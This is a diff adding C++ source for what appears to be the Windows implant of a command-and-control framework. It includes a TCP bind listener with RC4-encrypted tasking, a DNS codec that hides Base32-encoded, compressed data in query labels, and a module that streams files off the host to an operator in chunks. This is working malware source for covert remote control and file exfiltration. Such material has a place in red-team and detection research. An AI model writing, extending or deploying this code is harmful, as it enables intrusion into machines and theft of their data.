this->functions->recv = ApiWin->recv;
|
||||
this->functions->shutdown = ApiWin->shutdown;
|
||||
}
|
||||
|
||||
BOOL ConnectorTCP::SetProfile(void* profilePtr, BYTE* beatData, ULONG beatDataSize)
|
||||
{
|
||||
ProfileTCP profile = *(ProfileTCP*)profilePtr;
|
||||
|
||||
if (beatData && beatDataSize) {
|
||||
this->beat = (BYTE*)MemAllocLocal(beatDataSize);
|
||||
if (this->beat) {
|
||||
memcpy(this->beat, beatData, beatDataSize);
|
||||
this->beatSize = beatDataSize;
|
||||
}
|
||||
}
|
||||
this->port = profile.port;
|
||||
|
||||
WSAData WSAData;
|
||||
if (this->functions->WSAStartup(514u, &WSAData) < 0)
|
||||
return FALSE;
|
||||
|
||||
SOCKET sock = this->functions->socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sock == -1)
|
||||
return FALSE;
|
||||
|
||||
struct sockaddr_in saddr = { 0 };
|
||||
saddr.sin_family = AF_INET;
|
||||
saddr.sin_port = ((this->port >> 8) & 0x00FF) | ((this->port << 8) & 0xFF00); // port
|
||||
|
||||
if (this->functions->bind(sock, (struct sockaddr*)&saddr, sizeof(sockaddr)) == -1) {
|
||||
this->functions->closesocket(sock);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (this->functions->listen(sock, 1) == -1) {
|
||||
this->functions->closesocket(sock);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
this->prepend = profile.prepend;
|
||||
this->SrvSocket = sock;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL CheckState(SOCKET sock, int timeoutMs)
|
||||
{
|
||||
ULONG endTime = ApiWin->GetTickCount() + timeoutMs;
|
||||
while (ApiWin->GetTickCount() < endTime) {
|
||||
|
||||
fd_set readSet;
|
||||
FD_ZERO(&readSet);
|
||||
FD_SET(sock, &readSet);
|
||||
timeval timeout = { 0, 100 };
|
||||
|
||||
int selResult = ApiWin->select(0, &readSet, NULL, NULL, &timeout);
|
||||
if (selResult == 0)
|
||||
return TRUE;
|
||||
|
||||
if (selResult == SOCKET_ERROR)
|
||||
return FALSE;
|
||||
|
||||
char buf;
|
||||
int recvResult = ApiWin->recv(sock, &buf, 1, MSG_PEEK);
|
||||
if (recvResult == 0)
|
||||
return FALSE;
|
||||
|
||||
if (recvResult < 0)
|
||||
{
|
||||
int err = ApiWin->WSAGetLastError();
|
||||
if (err == WSAEWOULDBLOCK)
|
||||
return TRUE;
|
||||
}
|
||||
else return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void ConnectorTCP::SendData(BYTE* data, ULONG data_size)
|
||||
{
|
||||
this->recvSize = 0;
|
||||
|
||||
if (data && data_size) {
|
||||
|
||||
if (this->functions->send(this->ClientSocket, (const char*)&data_size, 4, 0) != -1) {
|
||||
DWORD index = 0;
|
||||
DWORD size = 0;
|
||||
DWORD NumberOfBytesWritten = 0;
|
||||
while (1) {
|
||||
size = data_size - index;
|
||||
if (data_size - index > 0x1000)
|
||||
size = 0x1000;
|
||||
|
||||
NumberOfBytesWritten = this->functions->send(this->ClientSocket, (const char*)(data + index), size, 0);
|
||||
if (NumberOfBytesWritten == -1)
|
||||
break;
|
||||
|
||||
index += NumberOfBytesWritten;
|
||||
if (index >= data_size)
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool alive = false;
|
||||
ULONG endTime = this->functions->GetTickCount() + 2500;
|
||||
while (this->functions->GetTickCount() < endTime) {
|
||||
|
||||
fd_set readfds;
|
||||
readfds.fd_count = 1;
|
||||
readfds.fd_array[0] = this->ClientSocket;
|
||||
timeval timeout = { 0, 100 };
|
||||
|
||||
int selResult = this->functions->select(0, &readfds, NULL, NULL, &timeout);
|
||||
if (selResult == 0) {
|
||||
alive = true;
|
||||
break;
|
||||
}
|
||||
|
||||
if (selResult == SOCKET_ERROR)
|
||||
break;
|
||||
|
||||
char buf;
|
||||
int recvResult = this->functions->recv(this->ClientSocket, &buf, 1, MSG_PEEK);
|
||||
if (recvResult == 0)
|
||||
break;
|
||||
|
||||
if (recvResult < 0) {
|
||||
if (this->functions->WSAGetLastError() == WSAEWOULDBLOCK) {
|
||||
alive = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else {
|
||||
alive = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!alive) {
|
||||
this->recvSize = -1;
|
||||
return;
|
||||
}
|
||||
|
||||
DWORD totalBytesAvail = 0;
|
||||
int result = this->functions->ioctlsocket(this->ClientSocket, FIONREAD, &totalBytesAvail);
|
||||
if (result != -1 && totalBytesAvail >= 4) {
|
||||
|
||||
ULONG dataLength = 0;
|
||||
if (this->functions->recv(this->ClientSocket, (PCHAR)&dataLength, 4, 0) != -1 && dataLength) {
|
||||
if (dataLength > this->allocaSize) {
|
||||
this->recvData = (BYTE*)this->functions->LocalReAlloc(this->recvData, dataLength, 0);
|
||||
this->allocaSize = dataLength;
|
||||
}
|
||||
|
||||
ULONG index = 0;
|
||||
int NumberOfBytesRead = 0;
|
||||
while ((NumberOfBytesRead = this->functions->recv(this->ClientSocket, (PCHAR)this->recvData + index, dataLength - index, 0)) && NumberOfBytesRead != -1) {
|
||||
index += NumberOfBytesRead;
|
||||
|
||||
if (index > dataLength) {
|
||||
this->recvSize = -1;
|
||||
return;
|
||||
}
|
||||
|
||||
if (index == dataLength)
|
||||
break;
|
||||
}
|
||||
this->recvSize = index;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BYTE* ConnectorTCP::RecvData()
|
||||
{
|
||||
return this->recvData;
|
||||
}
|
||||
|
||||
int ConnectorTCP::RecvSize()
|
||||
{
|
||||
return this->recvSize;
|
||||
}
|
||||
|
||||
void ConnectorTCP::RecvClear()
|
||||
{
|
||||
if (this->recvData && this->allocaSize) {
|
||||
if (this->recvSize > 0)
|
||||
memset(this->recvData, 0, this->recvSize);
|
||||
else
|
||||
memset(this->recvData, 0, this->allocaSize);
|
||||
}
|
||||
}
|
||||
|
||||
void ConnectorTCP::Listen()
|
||||
{
|
||||
fd_set readfds;
|
||||
readfds.fd_count = 1;
|
||||
readfds.fd_array[0] = this->SrvSocket;
|
||||
|
||||
while (1) {
|
||||
int sel = this->functions->select(0, &readfds, 0, 0, NULL);
|
||||
if (sel > 0 && readfds.fd_array[0] == this->SrvSocket) {
|
||||
SOCKET clientSock = this->functions->accept(this->SrvSocket, 0, 0);
|
||||
if (clientSock != -1) {
|
||||
this->ClientSocket = clientSock;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this->recvData = (BYTE*)this->functions->LocalAlloc(LPTR, 0x100000);
|
||||
this->allocaSize = 0x100000;
|
||||
}
|
||||
|
||||
BOOL ConnectorTCP::WaitForConnection()
|
||||
{
|
||||
this->Listen();
|
||||
this->SendData(this->beat, this->beatSize);
|
||||
this->connected = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL ConnectorTCP::IsConnected()
|
||||
{
|
||||
return this->connected;
|
||||
}
|
||||
|
||||
void ConnectorTCP::Disconnect()
|
||||
{
|
||||
this->DisconnectInternal();
|
||||
this->connected = FALSE;
|
||||
}
|
||||
|
||||
void ConnectorTCP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
|
||||
{
|
||||
if (plainData && plainSize > 0) {
|
||||
EncryptRC4(plainData, plainSize, sessionKey, 16);
|
||||
this->SendData(plainData, plainSize);
|
||||
}
|
||||
else {
|
||||
this->SendData(NULL, 0);
|
||||
}
|
||||
|
||||
if (this->recvSize < 0) {
|
||||
this->connected = FALSE;
|
||||
return;
|
||||
}
|
||||
|
||||
if (this->recvSize > 0 && this->recvData) {
|
||||
DecryptRC4(this->recvData, this->recvSize, sessionKey, 16);
|
||||
}
|
||||
}
|
||||
|
||||
void ConnectorTCP::DisconnectInternal()
|
||||
{
|
||||
if (this->allocaSize && this->recvData) {
|
||||
memset(this->recvData, 0, this->allocaSize);
|
||||
this->functions->LocalFree(this->recvData);
|
||||
this->recvData = NULL;
|
||||
}
|
||||
|
||||
this->allocaSize = 0;
|
||||
this->recvData = 0;
|
||||
this->functions->shutdown(this->ClientSocket, 2);
|
||||
this->functions->closesocket(this->ClientSocket);
|
||||
}
|
||||
|
||||
void ConnectorTCP::CloseConnector()
|
||||
{
|
||||
if (this->beat && this->beatSize) {
|
||||
MemFreeLocal((LPVOID*)&this->beat, this->beatSize);
|
||||
this->beat = NULL;
|
||||
this->beatSize = 0;
|
||||
}
|
||||
this->functions->shutdown(this->SrvSocket, 2);
|
||||
this->functions->closesocket(this->SrvSocket);
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "Connector.h"
|
||||
|
||||
#ifndef PROFILE_STRUCT
|
||||
#define PROFILE_STRUCT
|
||||
typedef struct {
|
||||
ULONG servers_count;
|
||||
BYTE** servers;
|
||||
WORD* ports;
|
||||
BOOL use_ssl;
|
||||
BYTE* http_method;
|
||||
BYTE* uri;
|
||||
BYTE* parameter;
|
||||
BYTE* user_agent;
|
||||
BYTE* http_headers;
|
||||
ULONG ans_pre_size;
|
||||
ULONG ans_size;
|
||||
} ProfileHTTP;
|
||||
|
||||
typedef struct {
|
||||
BYTE* pipename;
|
||||
} ProfileSMB;
|
||||
|
||||
typedef struct {
|
||||
BYTE* prepend;
|
||||
WORD port;
|
||||
} ProfileTCP;
|
||||
#endif
|
||||
|
||||
#define DECL_API(x) decltype(x) * x
|
||||
|
||||
struct TCPFUNC {
|
||||
DECL_API(LocalAlloc);
|
||||
DECL_API(LocalReAlloc);
|
||||
DECL_API(LocalFree);
|
||||
DECL_API(LoadLibraryA);
|
||||
DECL_API(GetProcAddress);
|
||||
DECL_API(GetLastError);
|
||||
DECL_API(GetTickCount);
|
||||
|
||||
//ws2_32
|
||||
DECL_API(WSAStartup);
|
||||
DECL_API(WSACleanup);
|
||||
DECL_API(socket);
|
||||
DECL_API(ioctlsocket);
|
||||
DECL_API(WSAGetLastError);
|
||||
DECL_API(closesocket);
|
||||
DECL_API(select);
|
||||
DECL_API(__WSAFDIsSet);
|
||||
DECL_API(shutdown);
|
||||
DECL_API(recv);
|
||||
DECL_API(send);
|
||||
DECL_API(accept);
|
||||
DECL_API(listen);
|
||||
DECL_API(bind);
|
||||
};
|
||||
|
||||
class ConnectorTCP : public Connector
|
||||
{
|
||||
WORD port = 0;
|
||||
BYTE* prepend = nullptr;
|
||||
|
||||
BYTE* recvData = nullptr;
|
||||
int recvSize = 0;
|
||||
ULONG allocaSize = 0;
|
||||
|
||||
TCPFUNC* functions = nullptr;
|
||||
|
||||
SOCKET SrvSocket;
|
||||
SOCKET ClientSocket;
|
||||
|
||||
BYTE* beat = nullptr;
|
||||
ULONG beatSize = 0;
|
||||
BOOL connected = FALSE;
|
||||
|
||||
public:
|
||||
ConnectorTCP();
|
||||
|
||||
BOOL SetProfile(void* profile, BYTE* beat, ULONG beatSize) override;
|
||||
BOOL WaitForConnection() override;
|
||||
BOOL IsConnected() override;
|
||||
void Disconnect() override;
|
||||
void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) override;
|
||||
void CloseConnector() override;
|
||||
|
||||
BYTE* RecvData() override;
|
||||
int RecvSize() override;
|
||||
void RecvClear() override;
|
||||
|
||||
void Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput) override {}
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
|
||||
private:
|
||||
void SendData(BYTE* data, ULONG data_size);
|
||||
void Listen();
|
||||
void DisconnectInternal();
|
||||
};
|
||||
@@ -0,0 +1,43 @@
|
||||
#include "Crypt.h"
|
||||
|
||||
void RC4Init(unsigned char* key, unsigned char* S, int keyLength) {
|
||||
int i, j = 0;
|
||||
unsigned char temp;
|
||||
|
||||
for (i = 0; i < 256; i++) {
|
||||
S[i] = (unsigned char)i;
|
||||
}
|
||||
|
||||
for (i = 0; i < 256; i++) {
|
||||
j = (j + S[i] + key[i % keyLength]) % 256;
|
||||
temp = S[i];
|
||||
S[i] = S[j];
|
||||
S[j] = temp;
|
||||
}
|
||||
}
|
||||
|
||||
void RC4EncryptDecrypt(unsigned char* data, int dataLength, unsigned char* S) {
|
||||
int i = 0, j = 0, k;
|
||||
unsigned char temp;
|
||||
|
||||
for (k = 0; k < dataLength; k++) {
|
||||
i = (i + 1) % 256;
|
||||
j = (j + S[i]) % 256;
|
||||
|
||||
temp = S[i];
|
||||
S[i] = S[j];
|
||||
S[j] = temp;
|
||||
|
||||
data[k] ^= S[(S[i] + S[j]) % 256];
|
||||
}
|
||||
}
|
||||
|
||||
void EncryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength) {
|
||||
unsigned char S[256];
|
||||
RC4Init(key, S, keyLength);
|
||||
RC4EncryptDecrypt(data, dataLength, S);
|
||||
}
|
||||
|
||||
void DecryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength) {
|
||||
EncryptRC4(data, dataLength, key, keyLength);
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
#pragma once
|
||||
|
||||
void RC4Init(unsigned char* key, unsigned char* S, int keyLength);
|
||||
|
||||
void RC4EncryptDecrypt(unsigned char* data, int dataLength, unsigned char* S);
|
||||
|
||||
void EncryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength);
|
||||
|
||||
void DecryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength);
|
||||
@@ -0,0 +1,256 @@
|
||||
#include "DnsCodec.h"
|
||||
#include "main.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define MINIZ_NO_STDIO
|
||||
#include "miniz.h"
|
||||
|
||||
// Static constant definitions
|
||||
const CHAR DnsCodec::kBase32Alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
|
||||
|
||||
const int DnsCodec::kBase64DecodeTable[] = {
|
||||
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
|
||||
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
|
||||
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
|
||||
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,
|
||||
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
|
||||
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
|
||||
-1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
|
||||
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1
|
||||
};
|
||||
|
||||
void DnsCodec::ToHex32(ULONG value, CHAR out[9])
|
||||
{
|
||||
static const CHAR hex[] = "0123456789abcdef";
|
||||
for (int i = 7; i >= 0; --i) {
|
||||
out[i] = hex[value & 0x0F];
|
||||
value >>= 4;
|
||||
}
|
||||
out[8] = '\0';
|
||||
}
|
||||
|
||||
ULONG DnsCodec::Base32Encode(const BYTE* src, ULONG srcLen, CHAR* dst, ULONG dstSize)
|
||||
{
|
||||
if (!src || !dst || !srcLen || !dstSize)
|
||||
return 0;
|
||||
|
||||
// Calculate max output size: ceil(srcLen * 8 / 5)
|
||||
ULONG maxOut = (srcLen * 8 + 4) / 5;
|
||||
if (maxOut >= dstSize)
|
||||
return 0;
|
||||
|
||||
ULONG bitBuffer = 0;
|
||||
int bitCount = 0;
|
||||
ULONG outLen = 0;
|
||||
|
||||
for (ULONG i = 0; i < srcLen; ++i) {
|
||||
bitBuffer = (bitBuffer << 8) | src[i];
|
||||
bitCount += 8;
|
||||
while (bitCount >= 5) {
|
||||
bitCount -= 5;
|
||||
dst[outLen++] = kBase32Alphabet[(bitBuffer >> bitCount) & 0x1F];
|
||||
}
|
||||
}
|
||||
|
||||
if (bitCount > 0)
|
||||
dst[outLen++] = kBase32Alphabet[(bitBuffer << (5 - bitCount)) & 0x1F];
|
||||
|
||||
dst[outLen] = '\0';
|
||||
return outLen;
|
||||
}
|
||||
|
||||
ULONG DnsCodec::Base32Decode(const CHAR* src, ULONG srcLen, BYTE* dst, ULONG dstSize)
|
||||
{
|
||||
if (!src || !dst || !srcLen || !dstSize)
|
||||
return 0;
|
||||
|
||||
ULONG bitBuffer = 0;
|
||||
int bitCount = 0;
|
||||
ULONG outLen = 0;
|
||||
|
||||
for (ULONG i = 0; i < srcLen; ++i) {
|
||||
CHAR c = src[i];
|
||||
int val = -1;
|
||||
|
||||
if (c >= 'A' && c <= 'Z')
|
||||
val = c - 'A';
|
||||
else if (c >= 'a' && c <= 'z')
|
||||
val = c - 'a';
|
||||
else if (c >= '2' && c <= '7')
|
||||
val = c - '2' + 26;
|
||||
else
|
||||
continue;
|
||||
|
||||
bitBuffer = (bitBuffer << 5) | val;
|
||||
bitCount += 5;
|
||||
|
||||
while (bitCount >= 8) {
|
||||
bitCount -= 8;
|
||||
if (outLen >= dstSize)
|
||||
return 0;
|
||||
dst[outLen++] = (BYTE)((bitBuffer >> bitCount) & 0xFF);
|
||||
}
|
||||
}
|
||||
|
||||
return outLen;
|
||||
}
|
||||
|
||||
int DnsCodec::Base64Decode(const CHAR* src, int srcLen, BYTE* dst, int dstMax)
|
||||
{
|
||||
if (!src || !dst || srcLen <= 0 || dstMax <= 0)
|
||||
return 0;
|
||||
|
||||
int j = 0;
|
||||
int val = 0;
|
||||
int valb = -8;
|
||||
|
||||
for (int i = 0; i < srcLen; i++) {
|
||||
unsigned char c = src[i];
|
||||
if (c > 127) continue;
|
||||
int d = kBase64DecodeTable[c];
|
||||
if (d == -1) continue;
|
||||
|
||||
val = (val << 6) | d;
|
||||
valb += 6;
|
||||
if (valb >= 0) {
|
||||
if (j < dstMax) dst[j++] = (BYTE)((val >> valb) & 0xFF);
|
||||
valb -= 8;
|
||||
}
|
||||
}
|
||||
return j;
|
||||
}
|
||||
|
||||
void DnsCodec::BuildQName(const CHAR* sid, const CHAR* op, ULONG seq, ULONG idx, const CHAR* dataLabel, const CHAR* domain, CHAR* out, ULONG outSize)
|
||||
{
|
||||
CHAR seqHex[9];
|
||||
CHAR idxHex[9];
|
||||
|
||||
ToHex32(seq ^ kSeqXorMask, seqHex);
|
||||
ToHex32(idx ^ kSeqXorMask, idxHex);
|
||||
|
||||
const CHAR* dataPart = (dataLabel && dataLabel[0]) ? dataLabel : "x";
|
||||
const CHAR* domPart = (domain && domain[0]) ? domain : "";
|
||||
|
||||
if (domPart[0])
|
||||
ApiWin->snprintf(out, outSize, "%s.%s.%s.%s.%s.%s", sid, op, seqHex, idxHex, dataPart, domPart);
|
||||
else
|
||||
ApiWin->snprintf(out, outSize, "%s.%s.%s.%s.%s", sid, op, seqHex, idxHex, dataPart);
|
||||
}
|
||||
|
||||
int DnsCodec::EncodeName(const CHAR* host, BYTE* buf, int bufSize)
|
||||
{
|
||||
if (!host || !buf || bufSize <= 1)
|
||||
return -1;
|
||||
|
||||
int len = 0;
|
||||
const CHAR* p = host;
|
||||
|
||||
while (*p) {
|
||||
const CHAR* labelStart = p;
|
||||
int labelLen = 0;
|
||||
|
||||
while (*p && *p != '.') {
|
||||
++p;
|
||||
++labelLen;
|
||||
}
|
||||
|
||||
if (labelLen == 0)
|
||||
break;
|
||||
if (labelLen > (int)kMaxLabelSize)
|
||||
labelLen = (int)kMaxLabelSize;
|
||||
|
||||
if (len + 1 + labelLen + 1 > bufSize)
|
||||
return -1;
|
||||
|
||||
buf[len++] = (BYTE)labelLen;
|
||||
memcpy(buf + len, labelStart, labelLen);
|
||||
len += labelLen;
|
||||
|
||||
if (*p == '.')
|
||||
++p;
|
||||
}
|
||||
|
||||
if (len + 1 > bufSize)
|
||||
return -1;
|
||||
buf[len++] = 0;
|
||||
return len;
|
||||
}
|
||||
|
||||
// Build data labels for DNS query
|
||||
BOOL DnsCodec::BuildDataLabels(const BYTE* src, ULONG srcLen, ULONG labelSize, CHAR* out, ULONG outSize)
|
||||
{
|
||||
if (!src || !srcLen || !out || !labelSize || labelSize > kMaxLabelSize || outSize == 0)
|
||||
return FALSE;
|
||||
|
||||
CHAR encoded[kBase32BufSize];
|
||||
ULONG encLen = Base32Encode(src, srcLen, encoded, sizeof(encoded));
|
||||
if (encLen == 0)
|
||||
return FALSE;
|
||||
|
||||
// Calculate required output size: encLen + (encLen / labelSize) dots + null
|
||||
ULONG numLabels = (encLen + labelSize - 1) / labelSize;
|
||||
ULONG requiredSize = encLen + (numLabels > 1 ? numLabels - 1 : 0) + 1;
|
||||
if (requiredSize > outSize)
|
||||
return FALSE;
|
||||
|
||||
ULONG written = 0;
|
||||
ULONG i = 0;
|
||||
while (i < encLen) {
|
||||
ULONG chunk = (encLen - i > labelSize) ? labelSize : encLen - i;
|
||||
memcpy(out + written, encoded + i, chunk);
|
||||
written += chunk;
|
||||
i += chunk;
|
||||
if (i < encLen)
|
||||
out[written++] = '.';
|
||||
}
|
||||
out[written] = '\0';
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Compression using miniz (zlib)
|
||||
BOOL DnsCodec::Compress(const BYTE* inBuf, ULONG inLen, BYTE** outBuf, ULONG* outLen)
|
||||
{
|
||||
if (!inBuf || !outBuf || !outLen || inLen == 0)
|
||||
return FALSE;
|
||||
|
||||
mz_ulong srcLen = (mz_ulong)inLen;
|
||||
mz_ulong bound = compressBound(srcLen);
|
||||
if (bound == 0)
|
||||
return FALSE;
|
||||
|
||||
BYTE* tmp = (BYTE*)MemAllocLocal((ULONG)bound);
|
||||
if (!tmp)
|
||||
return FALSE;
|
||||
|
||||
mz_ulong destLen = bound;
|
||||
int res = compress2(tmp, &destLen, (const unsigned char*)inBuf, srcLen, Z_BEST_COMPRESSION);
|
||||
if (res != Z_OK || destLen == 0 || destLen >= srcLen) {
|
||||
MemFreeLocal((LPVOID*)&tmp, (ULONG)bound);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*outBuf = tmp;
|
||||
*outLen = (ULONG)destLen;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Decompression using miniz (zlib)
|
||||
BOOL DnsCodec::Decompress(const BYTE* inBuf, ULONG inLen, BYTE** outBuf, ULONG expectedLen)
|
||||
{
|
||||
if (!inBuf || !outBuf || expectedLen == 0 || inLen == 0)
|
||||
return FALSE;
|
||||
|
||||
BYTE* tmp = (BYTE*)MemAllocLocal(expectedLen);
|
||||
if (!tmp)
|
||||
return FALSE;
|
||||
|
||||
mz_ulong destLen = (mz_ulong)expectedLen;
|
||||
int res = uncompress(tmp, &destLen, (const unsigned char*)inBuf, (mz_ulong)inLen);
|
||||
if (res != Z_OK || destLen != (mz_ulong)expectedLen) {
|
||||
MemFreeLocal((LPVOID*)&tmp, expectedLen);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*outBuf = tmp;
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "ApiDefines.h"
|
||||
|
||||
class DnsCodec {
|
||||
public:
|
||||
// Constants
|
||||
static const ULONG kSeqXorMask = 0x39913991;
|
||||
static const ULONG kMaxLabelSize = 63;
|
||||
static const ULONG kBase32BufSize = 2048;
|
||||
|
||||
// Encoding
|
||||
static ULONG Base32Encode(const BYTE* src, ULONG srcLen, CHAR* dst, ULONG dstSize);
|
||||
static ULONG Base32Decode(const CHAR* src, ULONG srcLen, BYTE* dst, ULONG dstSize);
|
||||
static int Base64Decode(const CHAR* src, int srcLen, BYTE* dst, int dstMax);
|
||||
|
||||
// DNS Name building
|
||||
static void ToHex32(ULONG value, CHAR out[9]);
|
||||
static void BuildQName(const CHAR* sid, const CHAR* op, ULONG seq, ULONG idx, const CHAR* dataLabel, const CHAR* domain, CHAR* out, ULONG outSize);
|
||||
static int EncodeName(const CHAR* host, BYTE* buf, int bufSize);
|
||||
static BOOL BuildDataLabels(const BYTE* src, ULONG srcLen, ULONG labelSize, CHAR* out, ULONG outSize);
|
||||
|
||||
// Compression (miniz)
|
||||
static BOOL Compress(const BYTE* inBuf, ULONG inLen, BYTE** outBuf, ULONG* outLen);
|
||||
static BOOL Decompress(const BYTE* inBuf, ULONG inLen, BYTE** outBuf, ULONG expectedLen);
|
||||
|
||||
private:
|
||||
static const CHAR kBase32Alphabet[];
|
||||
static const int kBase64DecodeTable[];
|
||||
};
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
#include "Downloader.h"
|
||||
#include "utils.h"
|
||||
|
||||
void* Downloader::operator new(size_t sz)
|
||||
{
|
||||
void* p = MemAllocLocal(sz);
|
||||
return p;
|
||||
}
|
||||
|
||||
void Downloader::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(Downloader));
|
||||
}
|
||||
|
||||
Downloader::Downloader(ULONG chunk_size)
|
||||
{
|
||||
this->chunkSize = chunk_size;
|
||||
}
|
||||
|
||||
DownloadData Downloader::CreateDownloadData(ULONG taskId, HANDLE hFile, ULONG64 size)
|
||||
{
|
||||
DownloadData downloadData;
|
||||
downloadData.taskId = taskId;
|
||||
downloadData.fileId = GenerateRandom32();
|
||||
downloadData.hFile = hFile;
|
||||
downloadData.fileSize = size;
|
||||
downloadData.index = 0;
|
||||
downloadData.state = DOWNLOAD_STATE_RUNNING;
|
||||
|
||||
this->downloads.push_back(downloadData);
|
||||
|
||||
return downloadData;
|
||||
}
|
||||
|
||||
void Downloader::ProcessDownloader(Packer* packer)
|
||||
{
|
||||
if ( !this->downloads.size() )
|
||||
return;
|
||||
|
||||
for (int i = 0; i < downloads.size(); i++) {
|
||||
BOOL close = false;
|
||||
if (downloads[i].state == DOWNLOAD_STATE_RUNNING) {
|
||||
LPVOID buffer = MemAllocLocal(this->chunkSize);
|
||||
ULONG readedBytes = 0;
|
||||
ApiWin->ReadFile(downloads[i].hFile, buffer, this->chunkSize, &readedBytes, NULL);
|
||||
if (readedBytes > 0) {
|
||||
downloads[i].index += readedBytes;
|
||||
|
||||
packer->Pack32(downloads[i].taskId);
|
||||
packer->Pack32(COMMAND_DOWNLOAD);
|
||||
packer->Pack32(downloads[i].fileId);
|
||||
packer->Pack8(DOWNLOAD_CONTINUE);
|
||||
packer->PackBytes( (BYTE*) buffer, readedBytes);
|
||||
|
||||
if (downloads[i].fileSize == downloads[i].index)
|
||||
downloads[i].state = DOWNLOAD_STATE_FINISHED;
|
||||
}
|
||||
else {
|
||||
downloads[i].state = DOWNLOAD_STATE_CANCELED;
|
||||
|
||||
packer->Pack32(downloads[i].taskId);
|
||||
packer->Pack32(COMMAND_DOWNLOAD_STATE);
|
||||
packer->Pack32(downloads[i].fileId);
|
||||
packer->Pack8(downloads[i].state);
|
||||
}
|
||||
if(buffer)
|
||||
MemFreeLocal(&buffer, this->chunkSize);
|
||||
}
|
||||
|
||||
if ( downloads[i].state == DOWNLOAD_STATE_FINISHED ) {
|
||||
packer->Pack32(downloads[i].taskId);
|
||||
packer->Pack32(COMMAND_DOWNLOAD);
|
||||
packer->Pack32(downloads[i].fileId);
|
||||
packer->Pack8(DOWNLOAD_FINISH);
|
||||
}
|
||||
|
||||
if ( downloads[i].state == DOWNLOAD_STATE_CANCELED || downloads[i].state == DOWNLOAD_STATE_FINISHED ) {
|
||||
if (downloads[i].hFile) {
|
||||
ApiNt->NtClose(downloads[i].hFile);
|
||||
downloads[i].hFile = NULL;
|
||||
}
|
||||
|
||||
downloads.remove(i);
|
||||
--i;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
#pragma once
|
||||
|
||||
#include "std.cpp"
|
||||
#include "Packer.h"
|
||||
|
||||
#define COMMAND_DOWNLOAD 32
|
||||
#define COMMAND_DOWNLOAD_STATE 35
|
||||
|
||||
#define DOWNLOAD_START 0x1
|
||||
#define DOWNLOAD_CONTINUE 0x2
|
||||
#define DOWNLOAD_FINISH 0x3
|
||||
|
||||
#define DOWNLOAD_STATE_RUNNING 0x1
|
||||
#define DOWNLOAD_STATE_STOPPED 0x2
|
||||
#define DOWNLOAD_STATE_FINISHED 0x3
|
||||
#define DOWNLOAD_STATE_CANCELED 0x4
|
||||
|
||||
struct DownloadData {
|
||||
ULONG taskId;
|
||||
ULONG fileId;
|
||||
HANDLE hFile;
|
||||
ULONG64 fileSize;
|
||||
ULONG64 index;
|
||||
BYTE state;
|
||||
};
|
||||
|
||||
class Downloader
|
||||
{
|
||||
public:
|
||||
Vector<DownloadData> downloads;
|
||||
ULONG chunkSize = 0;
|
||||
|
||||
Downloader( ULONG chunk_size );
|
||||
|
||||
DownloadData CreateDownloadData(ULONG taskId, HANDLE hFile, ULONG64 size);
|
||||
void ProcessDownloader(Packer* packer);
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
};
|
||||
@@ -0,0 +1,142 @@
|
||||
#include "Encoders.h"
|
||||
#include "ApiLoader.h"
|
||||
#include "utils.h"
|
||||
|
||||
/// BASE64
|
||||
|
||||
char b64chars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/', 0 };
|
